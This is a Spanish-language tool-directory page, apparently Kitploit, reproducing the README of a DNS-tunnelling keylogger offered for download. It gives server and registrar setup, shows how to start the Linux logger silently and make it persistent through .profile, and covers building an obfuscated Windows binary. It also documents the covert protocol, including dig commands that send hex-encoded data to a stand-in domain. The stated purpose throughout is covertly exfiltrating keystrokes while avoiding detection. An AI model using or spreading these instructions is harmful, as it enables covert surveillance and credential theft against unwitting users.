Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/geeoon/dns-tunnel-keylogger
Exfiltración de DatosPost-ExplotaciónComando y ControlRed TeamingAnálisis de DNS
GitHubgeeoon/dns-tunnel-keylogger

DNS-Tunnel-Keylogger

Servidor y cliente de keylogging que utiliza tunelización/exfiltración DNS para transmitir pulsaciones de teclas a través de firewalls.

Ver Repositorio
28045hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

DNS Tunnel Keylogger

Este keylogger post-explotación exfiltrará de forma encubierta las pulsaciones de teclas a un servidor.

Estas herramientas destacan por su exfiltración ligera y persistencia, propiedades que evitarán la detección. Utiliza tunelización/exfiltración DNS para eludir cortafuegos y evitar ser detectado.

Servidor

Configuración

El servidor utiliza python3.

Para instalar las dependencias, ejecuta python3 -m pip install -r requirements.txt

Iniciar el servidor

Para iniciar el servidor, ejecuta python3 main.py

root@kitploit:~
usage: dns exfiltration server [-h] [-p PORT] ip domain

positional arguments:
  ip
  domain

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  port to listen on

Por defecto, el servidor escucha en el puerto UDP 53. Usa la opción -p para especificar un puerto diferente.

ip es la dirección IP del servidor. Se utiliza en los registros SOA y NS, que permiten a otros servidores de nombres encontrar el servidor.

domain es el dominio al que escuchar, que debería ser el dominio para el cual el servidor es autoritativo.

Registrador

En el registrador, debes cambiar el espacio de nombres de tu dominio a DNS personalizado.

Apúntalos a dos dominios, ns1.example.com y ns2.example.com.

DNS personalizado en Spaceship

Agrega registros que apunten los dominios de espacio de nombres a la dirección IP de tu servidor de exfiltración.

Servidores de nombres personales en Spaceship

Esto es equivalente a configurar registros de tipo glue.

Cliente

Linux

El keylogger de Linux consta de dos scripts bash. connection.sh es utilizado por el script logger.sh para enviar las pulsaciones al servidor. Si deseas enviar datos manualmente, como un archivo, puedes canalizar datos al script connection.sh. Este establecerá automáticamente una conexión y enviará los datos.

logger.sh

root@kitploit:~
Usage: logger.sh [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -p path: give path to log file to listen to
  -l: run the logger with warnings and errors printed

Para iniciar el keylogger, ejecuta el comando ./logger.sh [domain] && exit. Esto iniciará silenciosamente el keylogger y se enviarán todas las entradas escritas. El && exit al final hará que el shell se cierre al salir. Sin él, al salir volverás al shell sin keylogger. Elimina &> /dev/null para mostrar mensajes de error.

La opción -p especificará la ubicación del archivo de registro temporal donde se envían todas las entradas. Por defecto, es /tmp/.

La opción -l mostrará advertencias y errores. Puede ser útil para depuración.

logger.sh y connection.sh deben estar en el mismo directorio para que el keylogger funcione. Si deseas persistencia, puedes agregar el comando a .profile para que se inicie en cada nueva shell interactiva.

connection.sh

root@kitploit:~
Usage: command [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -n: number of characters to store before sending a packet

Windows

Compilación

Para compilar el programa keylogger, ejecuta make en el directorio windows. Para compilar con tamaño reducido y cierto grado de ofuscación, haz el objetivo production. Esto creará el directorio build y generará un archivo llamado logger.exe dentro de build. Solo he probado la compilación usando MinGW en Windows 10. Si intentas usar g++ en una máquina que no sea Windows, probablemente obtendrás errores de compilación relacionados con windows.h.

make production domain=example.com

También puedes optar por compilar el programa con depuración usando el objetivo debug.

make debug domain=example.com

Para ambos objetivos, deberás especificar el dominio al que el servidor está escuchando.

Envío de solicitudes de prueba

Puedes usar dig para enviar solicitudes al servidor:

dig @127.0.0.1 a.1.1.1.example.com A +short envía una solicitud de conexión a un servidor en localhost.

dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short envía un mensaje de prueba a localhost.

Reemplaza example.com por el dominio al que el servidor está escuchando.

Protocolo

Inicio de una conexión

Las solicitudes de registro A que comienzan con a indican el inicio de una "conexión". Cuando el servidor las recibe, responde con una dirección IP falsa no reservada donde el último octeto contiene el ID del cliente.

El siguiente es el formato a seguir para iniciar una conexión: a.1.1.1.[sld].[tld].

El servidor responderá con una dirección IP en el siguiente formato: 123.123.123.[id]

Las conexiones simultáneas no pueden exceder 254, y los clientes nunca se consideran "desconectados".

Exfiltración de datos

Las solicitudes de registro A que comienzan con b indican datos exfiltrados enviados al servidor.

El siguiente es el formato a seguir para enviar datos después de establecer una conexión: b.[packet #].[id].[data].[sld].[tld].

El servidor responderá con [code].123.123.123

id es el ID que se estableció al conectar. Los datos se envían codificados en ASCII como hexadecimal.

code es uno de los códigos descritos a continuación.

Códigos de respuesta

200: OK

Si el cliente envía una solicitud que se procesa normalmente, el servidor responderá con el código 200.

201: Solicitudes de registro mal formadas

Si el cliente envía una solicitud de registro mal formada, el servidor responderá con el código 201.

202: Conexiones inexistentes

Si el cliente envía un paquete de datos con un ID mayor que el número de conexiones, el servidor responderá con el código 202.

203: Paquetes fuera de orden

Si el cliente envía un paquete con un ID de paquete que no coincide con lo esperado, el servidor responderá con el código 203. Los clientes y servidores deben restablecer sus números de paquete a 0. Luego el cliente puede reenviar el paquete con el nuevo ID de paquete.

204: Se alcanzó el máximo de conexiones

Si el cliente intenta crear una conexión cuando se ha alcanzado el máximo, el servidor responderá con el código 204.

Paquetes perdidos

Los clientes deben confiar en las respuestas como confirmación de recepción de paquetes. Si no reciben una respuesta, deben reenviar la misma carga útil.

Notas adicionales

Linux

Archivo de registro

El archivo de registro que contiene las entradas del usuario incluye caracteres de control ASCII, como retroceso, eliminar y retorno de carro. Si imprimes el contenido usando algo como cat, debes seleccionar la opción adecuada para imprimir caracteres de control ASCII, como -v para cat, o abrirlo en un editor de texto.

Shells no interactivas

El keylogger depende de script, por lo que no se ejecutará en shells no interactivas.

Windows

Solicitudes repetidas

Por alguna razón, Dns_Query_A en Windows siempre envía solicitudes duplicadas. El servidor lo procesará correctamente porque descarta paquetes repetidos.

Descargar herramienta